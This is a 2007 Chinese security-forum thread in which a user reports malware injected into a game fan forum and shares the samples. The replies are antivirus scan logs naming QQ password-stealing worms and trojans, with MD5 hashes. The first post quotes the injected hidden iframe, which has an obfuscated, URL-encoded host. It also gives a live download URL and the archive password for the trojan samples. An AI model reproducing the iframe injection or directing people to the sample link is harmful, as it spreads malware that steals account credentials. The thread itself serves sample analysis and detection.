找虫子找来的几个小马

dikex

想找一下虫子（百战天虫）的相关东西，进入到中国虫盟的论坛（http://bbs.cnworms.com/），发现那里被挂了马，源码最下面被插入了：

<IFRAME src="http://dl.%73f%327%38.c%6F%6D" frameBorder=0 width=1 height=1></IFRAME>

最后找到了一个小马：http://ww.mtwor.com/ms1.exe
运行后得到其它几个（密码virus）


关于这个的详细信息可以看http://hi.baidu.com/dikex/blog/item/14135460b6e7ff47eaf8f874.html

[ 本帖最后由 dikex 于 2007-10-25 23:28 编辑 ]

uhthn2002

Uhthn Anti-Spyware V3 Alpha
Version - 3.0.0
Standard Database - 692
Paranoia Database - 48194
Heuristics Analysis - Excessive
Scan in - C:\Documents and Settings\Uhthn\Desktop\New Folder (2)

C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\KK.dll - Suspected MaliciousScope:MALWARE.PSW.3
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\data.exe - OK
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\1.exe - Infected WIN32.TROJAN-PSW.QQPASS.A - Deleted
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\ms1.exe - Suspected MaliciousScope:MALWARE.PSW.2

4 Files scanned
1 Infected files found
2 Suspected files found
0 Files cured
1 Files deleted

残缺的唯美

Malicious code found in file C:\Users\Administrator\Desktop\TEMP\1.exe.
Infection: Worm.Win32.QQPass.al
Action: The file was deleted.

The EQs

C:\Documents and Settings\Don johnson\桌面\TEMP\1.exe - Win32/AutoRun.BU worm
C:\Documents and Settings\Don johnson\桌面\TEMP\data.exe - probably a variant of Win32/Genetik trojan

mofunzone

Starting the file scan:

Begin scan in 'C:\Users\morgan\Documents\TEMP'
C:\Users\morgan\Documents\TEMP\
  1.exe
      [DETECTION] Contains detection pattern of the worm WORM/QQpass.AL
      [INFO]      The file was deleted!
  data.exe
      [DETECTION] Is the Trojan horse TR/Crypt.FKM.Gen
      [INFO]      The file was deleted!
  KK.dll
      [DETECTION] Contains suspicious code HEUR/Malware
      [INFO]      The file was moved to '474ee429.qua'!
  ms1.exe
      [DETECTION] File has been compressed with an unusual runtime compression tool (PCK/FSG). Please verify the origin of the file
      [INFO]      The file was deleted!

啊弥陀佛

木马名称:未知木马
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\TEMP\KK.DLL
是木马程序!
已成功阻止其运行,是否要删除此文件?


微点砍掉

kkgh

瑞星病毒查杀结果报告

清除病毒种类列表：
病毒： Worm.Win32.PaBug.bs      
病毒： Trojan.Win32.Agent.zri   

用户来源：互联网

傻猪猪米走鸡

2007-10-26 16:01:50        Real-time file system protection        file        D:\firefox下载的文件\TEMP\1.exe        Win32/AutoRun.BU worm        cleaned by deleting - quarantined        NT AUTHORITY\SYSTEM        Event occurred on a new file created by the application: f:\Program Files\WinRAR\WinRAR.exe.
2007-10-26 16:01:39        Real-time file system protection        file        D:\firefox下载的文件\TEMP\data.exe        probably a variant of Win32/Genetik trojan        cleaned by deleting - quarantined        NT AUTHORITY\SYSTEM        Event occurred on a new file created by the application: f:\Program Files\WinRAR\WinRAR.exe.

FBAV

MicroVita AntiSpyware 100 C
_____________________________________________
                                          
             风暴微塔反间谍
[强力查杀各种Win32位的病毒,木马,蠕虫,恶意软件]                  
                   http://221.10.254.214/
----------------------------------------------
开始扫描……


正在检查启动……
[C:\Documents and Settings\Administrator\桌面\Virus\TEMP\KK.dll]
                    …………发现Spy！报告: [4] [1]
文件信息:  大小:45061  MD5:839ff5ab09619b7a1da024e66e507bb5


[C:\Documents and Settings\Administrator\桌面\Virus\TEMP\1.exe]
                    …………发现Spy！报告:[2]
文件信息:  大小:33412  MD5:987c916bbe0aa8a8f27b096f696e8bbf


[C:\Documents and Settings\Administrator\桌面\Virus\TEMP\ms1.exe]
                    …………发现Spy！报告:[1]
文件信息:  大小:60521  MD5:e50ee7bb625302daaca03ecfe07930a7


文件数:4   病毒数:3  比重:0.75
OK  扫描完毕！

  ***日志解释
[4] 集中有害分析引擎
[3] 全局系统判断引擎   
[2] 文件特征码引擎
[1] 文件启发式引擎